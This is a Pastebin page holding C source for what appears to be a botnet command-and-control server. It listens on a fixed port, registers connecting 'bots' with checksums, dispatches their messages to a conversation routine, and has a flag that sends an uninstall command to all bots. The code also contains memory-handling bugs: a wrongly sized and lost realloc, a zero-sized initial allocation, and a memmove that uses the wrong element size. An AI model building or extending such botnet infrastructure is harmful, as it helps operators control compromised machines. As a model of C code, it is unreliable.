3ll0s

Untitled

Oct 13th, 2013
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.15 KB | None | 0 0
  1. //
  2. //  main.c
  3. //  Bot client
  4. //
  5. //  Created by Nino Floris on 9/18/13.
  6. //  Copyright (c) 2013 Nino Floris. All rights reserved.
  7. //
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #include <stdarg.h>
  14. #include <stdbool.h>
  15. #include <netinet/in.h>
  16. #include <sys/socket.h>
  17. #include <arpa/inet.h>
  18. #include "sockconn.h"
  19. #include "arcfour.h"
  20. #include "utils.h"
  21. #include "server.h"
  22. #define BUFSIZE 1024 //luckily there are no packets larger than this, it at least spares me of creating a recv packet buffering loop.
  23.  
  24. #define PORTNO 35711  // the port users will be connecting to
  25. #define BACKLOG 10   // how many pending connections queue will hold
  26. #define UNINSTALL 1 //1 to send an uninstall command to all bots
  27.  
  28. //error wrapper for perror
  29. void error(char *msg) {
  30.     perror(msg);
  31.     exit(0);
  32. }
  33.  
  34. void delbotinfoandshift(struct botinfo **array, size_t arraysize, const int sockfd);
  35. bool fillandallocbotinfo(struct botinfo **array, size_t arraysize, const size_t connections, const int sockfd);
  36. struct botinfo *getbotinfo(struct botinfo **array, size_t arraysize, const int sockfd);
  37.  
  38. int main(int argc, char **argv) {
  39.     int ret = 0, sockfd = 0, fd = 0, connections = 0, arrsize = 0, recvsize = 0;
  40.     struct botinfo **arrbotinfo;
  41.     fd_set active_fd_set, read_fd_set;
  42.     byte pbuf[BUFSIZE];
  43.    
  44.     arrbotinfo = malloc(connections * sizeof(struct botinfo *));
  45.    
  46.     //create the socket and start to accept connections.
  47.     sockfd = tcpserverconn(INADDR_ANY,PORTNO);
  48.    
  49.    
  50.     if (listen(sockfd, 1) < 0) {
  51.         perror("ERROR listening on socket");
  52.         exit(1);
  53.     }
  54.        
  55.     //initialize the set of active sockets.
  56.     FD_ZERO(&active_fd_set);
  57.     FD_SET(sockfd, &active_fd_set); //add the listener to the active set.
  58.    
  59.     do {
  60.         //block until input arrives on the active sockets.
  61.         read_fd_set = active_fd_set;
  62.         if (select(FD_SETSIZE, &read_fd_set, NULL, NULL, NULL) < 0) {
  63.             perror("ERROR selecting socket");
  64.         }
  65.        
  66.         //handle all the sockets with pending input.
  67.         for (fd = 0; fd < FD_SETSIZE; ++fd)
  68.             if (FD_ISSET (fd, &read_fd_set)) {
  69.                 if (fd == sockfd) {
  70.                     struct sockaddr_in clientname;
  71.                     memset(&clientname, 0, sizeof(clientname));
  72.  
  73.                     int newfd = acceptconn(sockfd, &clientname);
  74.                     if (newfd == -1) {
  75.                         continue;
  76.                     }
  77.                     connections++;
  78.                     FD_SET(newfd, &active_fd_set);
  79.  
  80.                     //creating extra space for new botinfo and filling that info, if true the array has been realloced and increased by 1.
  81.                     if (fillandallocbotinfo(arrbotinfo, arrsize, connections, newfd))
  82.                         arrsize++;
  83.  
  84.                     char ch[CHECKSUMBYTES*2+1];
  85.                     bytetohex(ch, CHECKSUMBYTES*2+1, (*arrbotinfo[connections-1]).checksum, CHECKSUMBYTES);
  86.                    
  87.                     printf("Client connected to %s:%d on socket %d.\n", iptostr(clientname.sin_addr.s_addr), clientname.sin_port,newfd);
  88.                     printf("Checksum for socket %d is %s\n",newfd, ch);
  89.                 }
  90.                 else {
  91.                     //read data from a connected socket.
  92.                     memset(pbuf, 0, BUFSIZE);
  93.                     recvsize = saferecv(fd, pbuf, BUFSIZE,0);
  94.                     if (recvsize < 0) {
  95.                         close(fd);
  96.                         FD_CLR(fd, &active_fd_set);
  97.                         connections--;
  98.                         delbotinfoandshift(arrbotinfo, arrsize, fd);
  99.                     }
  100.                     else if (recvsize > 0 && recvsize < 2) {
  101.                         fprintf(stderr, "ERROR message received from server was too small to get the required data.\n");
  102.                         close(fd);
  103.                         FD_CLR(fd, &active_fd_set);
  104.                         connections--;
  105.                         delbotinfoandshift(arrbotinfo, arrsize, fd);
  106.                     }
  107.                     else {
  108.                         protocol_command_t convret = doconversation(fd, pbuf, BUFSIZE, recvsize, getbotinfo(arrbotinfo, arrsize, fd));
  109.                         if(convret == -1) {
  110.                             close(fd);
  111.                             FD_CLR(fd, &active_fd_set);
  112.                             connections--;
  113.                             delbotinfoandshift(arrbotinfo, arrsize, fd);
  114.                         }
  115.                         else if (convret == B_DONE) {
  116.                             close(fd);
  117.                             FD_CLR(fd, &active_fd_set);
  118.                             connections--;
  119.                             delbotinfoandshift(arrbotinfo, arrsize, fd);
  120.                             fprintf(stderr,"Server succesfully ended conversation with client on socket %d",fd);
  121.                         }
  122.                     }
  123.                 }
  124.             }
  125.     } while (1);
  126.    
  127.    
  128.     return ret;
  129. }
  130.  
  131. struct botinfo *getbotinfo(struct botinfo **array, size_t arraysize, const int sockfd) {
  132.     int i;
  133.     for (i = 0; i < arraysize; i++) {
  134.         if(array[i]->sockfd == sockfd)
  135.             return array[i];
  136.     }
  137.     return NULL;
  138. }
  139.  
  140. bool fillandallocbotinfo(struct botinfo **array, const size_t arraysize, const size_t connections, const int sockfd) {
  141.     bool ret = false;
  142.     if(arraysize < connections){
  143.         array = realloc(array, connections);
  144.         ret = true;
  145.     }
  146.    
  147.     struct botinfo *binfo = malloc(sizeof(struct botinfo));
  148.     memset(binfo, 0, sizeof(struct botinfo));
  149.     array[connections-1] = binfo;
  150.    
  151.     binfo->sockfd = sockfd;
  152.     memcpy(&binfo->checksum, createchecksum(), CHECKSUMBYTES); //need to copy because of the static array of createchecksum.
  153.     binfo->uninstall = UNINSTALL;
  154.     return ret;
  155. }
  156.  
  157. void delbotinfoandshift(struct botinfo **array, const size_t arraysize, const int sockfd) {
  158.     int i = 0;
  159.    
  160.     for (i = 0; i < arraysize; i++) {
  161.         if(array[i]->sockfd == sockfd)
  162.             break;
  163.     }
  164.    
  165.     memmove(array + i, array + i + 1, (arraysize - i - 1) * sizeof(int));
  166. }
Advertisement
Add Comment
Please, Sign In to add comment